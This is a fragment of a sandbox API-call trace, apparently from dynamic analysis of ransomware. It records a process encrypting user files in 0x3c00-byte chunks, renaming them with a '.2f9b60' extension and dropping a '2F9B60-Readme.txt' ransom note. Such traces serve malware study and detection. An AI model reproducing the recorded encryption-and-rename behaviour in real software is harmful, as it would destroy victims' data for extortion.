Flags=0x8, Size=0x20) returned 0x202606b0 [0229.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622a0 [0229.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ad0 [0229.782] NtQuerySystemTime (in: CurrentTime=0x3289fc20 | out: CurrentTime=0x3289fc20*=132462178337734000) returned 0x0 [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x2870b15b [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x41eca5e [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x2cb59574 [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x6dc986b4 [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x6d5f79f9 [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x6780a866 [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x15cef987 [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x1d4e077 [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x6a8967dd [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x1b1ecba9 [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x6d5b4d3a [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x108eafd [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x689d79b9 [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x52f9c624 [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x7b9620a7 [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x483435ca [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0xd8119a9 [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x45356e34 [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x3c82a6e5 [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x7bdf52d8 [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x43e52627 [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x733dc733 [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x1f489900 [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x64007c14 [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x5d55a658 [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x281affdb [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x5a3021ab [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x56c70db8 [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x46a4de95 [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x2dee701f [0229.782] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x671b44b3 [0229.783] RtlRandomEx (in: Seed=0x3289fc10 | out: Seed=0x3289fc10) returned 0x43b2837e [0229.790] SetFilePointerEx (in: hFile=0x64c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.790] ReadFile (in: hFile=0x64c, lpBuffer=0x4240c580, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3289fc80, lpOverlapped=0x0 | out: lpBuffer=0x4240c580*, lpNumberOfBytesRead=0x3289fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0229.790] SetFilePointerEx (in: hFile=0x64c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0229.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f290 [0229.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202606b0 [0229.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202606b0) returned 1 [0229.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423ee500 [0229.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202606b0 [0229.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ad0 [0229.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263ad0) returned 1 [0229.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f290) returned 1 [0229.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0229.794] WriteFile (in: hFile=0x64c, lpBuffer=0x423ee500*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3289fc80, lpOverlapped=0x0 | out: lpBuffer=0x423ee500*, lpNumberOfBytesWritten=0x3289fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0233.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ee500) returned 1 [0233.650] SetFilePointerEx (in: hFile=0x64c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.650] ReadFile (in: hFile=0x64c, lpBuffer=0x4240c580, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3289fc80, lpOverlapped=0x0 | out: lpBuffer=0x4240c580*, lpNumberOfBytesRead=0x3289fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0233.650] SetFilePointerEx (in: hFile=0x64c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97800 [0233.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0233.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ab50 [0233.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1ab50) returned 1 [0233.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423ee500 [0233.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ab50 [0233.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ab20 [0233.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1ab20) returned 1 [0233.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0233.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0233.654] WriteFile (in: hFile=0x64c, lpBuffer=0x423ee500*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3289fc80, lpOverlapped=0x0 | out: lpBuffer=0x423ee500*, lpNumberOfBytesWritten=0x3289fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0233.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ee500) returned 1 [0233.663] SetFilePointerEx (in: hFile=0x64c, liDistanceToMove=0x11888, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.663] ReadFile (in: hFile=0x64c, lpBuffer=0x4240c580, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3289fc80, lpOverlapped=0x0 | out: lpBuffer=0x4240c580*, lpNumberOfBytesRead=0x3289fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0233.664] SetFilePointerEx (in: hFile=0x64c, liDistanceToMove=0x11888, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97800 [0233.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0233.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1aa60 [0233.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1aa60) returned 1 [0233.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423ee500 [0233.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1aa60 [0233.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ebd0 [0233.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1ebd0) returned 1 [0233.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0233.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0233.668] WriteFile (in: hFile=0x64c, lpBuffer=0x423ee500*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3289fc80, lpOverlapped=0x0 | out: lpBuffer=0x423ee500*, lpNumberOfBytesWritten=0x3289fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0233.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ee500) returned 1 [0233.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4310f280 [0233.679] SetFilePointerEx (in: hFile=0x64c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.679] WriteFile (in: hFile=0x64c, lpBuffer=0x1ceb81b0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x3289fd30, lpOverlapped=0x0 | out: lpBuffer=0x1ceb81b0*, lpNumberOfBytesWritten=0x3289fd30*=0x15e, lpOverlapped=0x0) returned 1 [0235.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61c40 [0235.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e60 [0235.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260e60) returned 1 [0235.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9f030 [0235.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e60 [0235.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ef0 [0235.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260ef0) returned 1 [0235.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61c40) returned 1 [0235.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x59) returned 0x1ce14d50 [0235.698] sprintf (in: _Dest=0x1ce14d50, _Format="%c%c" | out: _Dest="bd") returned 2 [0235.698] sprintf (in: _Dest=0x1ce14d52, _Format="%c%c" | out: _Dest="47") returned 2 [0235.698] sprintf (in: _Dest=0x1ce14d54, _Format="%c%c" | out: _Dest="58") returned 2 [0235.698] sprintf (in: _Dest=0x1ce14d56, _Format="%c%c" | out: _Dest="01") returned 2 [0235.698] sprintf (in: _Dest=0x1ce14d58, _Format="%c%c" | out: _Dest="f5") returned 2 [0235.698] sprintf (in: _Dest=0x1ce14d5a, _Format="%c%c" | out: _Dest="33") returned 2 [0235.698] sprintf (in: _Dest=0x1ce14d5c, _Format="%c%c" | out: _Dest="21") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d5e, _Format="%c%c" | out: _Dest="02") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d60, _Format="%c%c" | out: _Dest="46") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d62, _Format="%c%c" | out: _Dest="d1") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d64, _Format="%c%c" | out: _Dest="fa") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d66, _Format="%c%c" | out: _Dest="16") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d68, _Format="%c%c" | out: _Dest="e0") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d6a, _Format="%c%c" | out: _Dest="06") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d6c, _Format="%c%c" | out: _Dest="4a") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d6e, _Format="%c%c" | out: _Dest="08") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d70, _Format="%c%c" | out: _Dest="19") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d72, _Format="%c%c" | out: _Dest="5a") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d74, _Format="%c%c" | out: _Dest="d2") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d76, _Format="%c%c" | out: _Dest="5c") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d78, _Format="%c%c" | out: _Dest="82") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d7a, _Format="%c%c" | out: _Dest="4e") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d7c, _Format="%c%c" | out: _Dest="4f") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d7e, _Format="%c%c" | out: _Dest="a3") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d80, _Format="%c%c" | out: _Dest="8a") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d82, _Format="%c%c" | out: _Dest="ae") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d84, _Format="%c%c" | out: _Dest="3c") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d86, _Format="%c%c" | out: _Dest="9e") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d88, _Format="%c%c" | out: _Dest="c8") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d8a, _Format="%c%c" | out: _Dest="c3") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d8c, _Format="%c%c" | out: _Dest="ba") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d8e, _Format="%c%c" | out: _Dest="dd") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d90, _Format="%c%c" | out: _Dest="df") returned 2 [0235.699] sprintf (in: _Dest=0x1ce14d92, _Format="%c%c" | out: _Dest="43") returned 2 [0235.700] sprintf (in: _Dest=0x1ce14d94, _Format="%c%c" | out: _Dest="ff") returned 2 [0235.700] sprintf (in: _Dest=0x1ce14d96, _Format="%c%c" | out: _Dest="0a") returned 2 [0235.700] sprintf (in: _Dest=0x1ce14d98, _Format="%c%c" | out: _Dest="db") returned 2 [0235.700] sprintf (in: _Dest=0x1ce14d9a, _Format="%c%c" | out: _Dest="b0") returned 2 [0235.700] sprintf (in: _Dest=0x1ce14d9c, _Format="%c%c" | out: _Dest="1c") returned 2 [0235.700] sprintf (in: _Dest=0x1ce14d9e, _Format="%c%c" | out: _Dest="00") returned 2 [0235.700] sprintf (in: _Dest=0x1ce14da0, _Format="%c%c" | out: _Dest="35") returned 2 [0235.700] sprintf (in: _Dest=0x1ce14da2, _Format="%c%c" | out: _Dest="ad") returned 2 [0235.700] sprintf (in: _Dest=0x1ce14da4, _Format="%c%c" | out: _Dest="9b") returned 2 [0235.700] sprintf (in: _Dest=0x1ce14da6, _Format="%c%c" | out: _Dest="66") returned 2 [0235.700] RtlInitAnsiString (in: DestinationString=0x3289fda8, SourceString="bd475801f533210246d1fa16e0064a08195ad25c824e4fa38aae3c9ec8c3badddf43ff0adbb01c0035ad9b66" | out: DestinationString="bd475801f533210246d1fa16e0064a08195ad25c824e4fa38aae3c9ec8c3badddf43ff0adbb01c0035ad9b66") [0235.700] RtlAnsiStringToUnicodeString (in: DestinationString=0x3289fd78, SourceString="bd475801f533210246d1fa16e0064a08195ad25c824e4fa38aae3c9ec8c3badddf43ff0adbb01c0035ad9b66", AllocateDestinationString=1 | out: DestinationString="bd475801f533210246d1fa16e0064a08195ad25c824e4fa38aae3c9ec8c3badddf43ff0adbb01c0035ad9b66") returned 0x0 [0235.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x4312bf20 [0235.701] wcscat (in: _Dest=0x4312bce0, _Source="bd475801f533210246d1fa" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\bd475801f533210246d1fa") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\bd475801f533210246d1fa" [0235.701] wcscat (in: _Dest=0x4312bce0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\bd475801f533210246d1fa.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\bd475801f533210246d1fa.2f9b60" [0235.701] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\bd475801f533210246d1fa.2f9b60", NtPathName=0x3289fd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\bd475801f533210246d1fa.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd4) returned 0x431164e0 [0236.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431164e0) returned 1 [0236.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43078000) returned 1 [0236.906] NtQueryInformationFile (in: FileHandle=0x64c, IoStatusBlock=0x3289fdb8, FileInformation=0x3289fdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3289fdb8, FileInformation=0x3289fdc8) returned 0x0 [0236.906] NtSetInformationFile (FileHandle=0x64c, IoStatusBlock=0x3289fdb8, FileInformation=0x3289fdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4312bce0) returned 1 [0237.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4312bf20) returned 1 [0237.388] FlushFileBuffers (hFile=0x64c) returned 1 [0238.229] CloseHandle (hObject=0x64c) returned 1 [0241.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cd65ad0 [0241.638] wcscpy (in: _Dest=0x1cd65ad0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\" [0241.638] wcscat (in: _Dest=0x1cd65ad0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\2F9B60-Readme.txt" [0241.638] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\2f9b60-readme.txt")) returned 0xffffffff [0243.623] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 3860 os_tid = 0xacc [0229.796] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\kqvU9EjIdBUUC.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\kqvu9ejidbuuc.mp3")) returned 0x20 [0229.797] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\kqvU9EjIdBUUC.mp3", dwFileAttributes=0x20) returned 1 [0229.797] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\kqvU9EjIdBUUC.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\kqvu9ejidbuuc.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x11f4 [0229.798] GetFileSizeEx (in: hFile=0x11f4, lpFileSize=0x32f7fbe0 | out: lpFileSize=0x32f7fbe0*=82112) returned 1 [0229.798] SetFilePointerEx (in: hFile=0x11f4, liDistanceToMove=0x140bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.798] ReadFile (in: hFile=0x11f4, lpBuffer=0x32f7fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x32f7fba8, lpOverlapped=0x0 | out: lpBuffer=0x32f7fb60*, lpNumberOfBytesRead=0x32f7fba8*=0x4, lpOverlapped=0x0) returned 1 [0229.799] SetFilePointerEx (in: hFile=0x11f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ad0 [0229.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262420 [0229.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260470 [0229.799] NtQuerySystemTime (in: CurrentTime=0x32f7faa0 | out: CurrentTime=0x32f7faa0*=132462178337890000) returned 0x0 [0229.799] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x179f7e7b [0229.799] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x1f8731fa [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x1b2f7ebf [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x2416addb [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x7667c658 [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x385610a4 [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x5c808de0 [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x38085345 [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x2f20af07 [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x2904d1d8 [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x721011af [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x418e31fb [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x2de1b42a [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x612460f [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x487e7c2b [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x9f2d434 [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x2daf7768 [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x4204904b [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x371ec8a3 [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x39b71bb [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x16a91652 [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x2b70e28f [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x6d21e632 [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x7679ba82 [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x48669fd4 [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x5d55a658 [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x828c888 [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x52bff4f [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x4ce53dbf [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x2ac1a3e0 [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x59b1e9dc [0229.800] RtlRandomEx (in: Seed=0x32f7fa90 | out: Seed=0x32f7fa90) returned 0x6c0dba91 [0229.809] SetFilePointerEx (in: hFile=0x11f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.809] ReadFile (in: hFile=0x11f4, lpBuffer=0x424179b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x32f7fb00, lpOverlapped=0x0 | out: lpBuffer=0x424179b0*, lpNumberOfBytesRead=0x32f7fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0229.809] SetFilePointerEx (in: hFile=0x11f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0229.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f290 [0229.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ad0 [0229.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263ad0) returned 1 [0229.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4241b5c0 [0229.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ad0 [0229.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260470 [0229.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260470) returned 1 [0229.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f290) returned 1 [0229.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 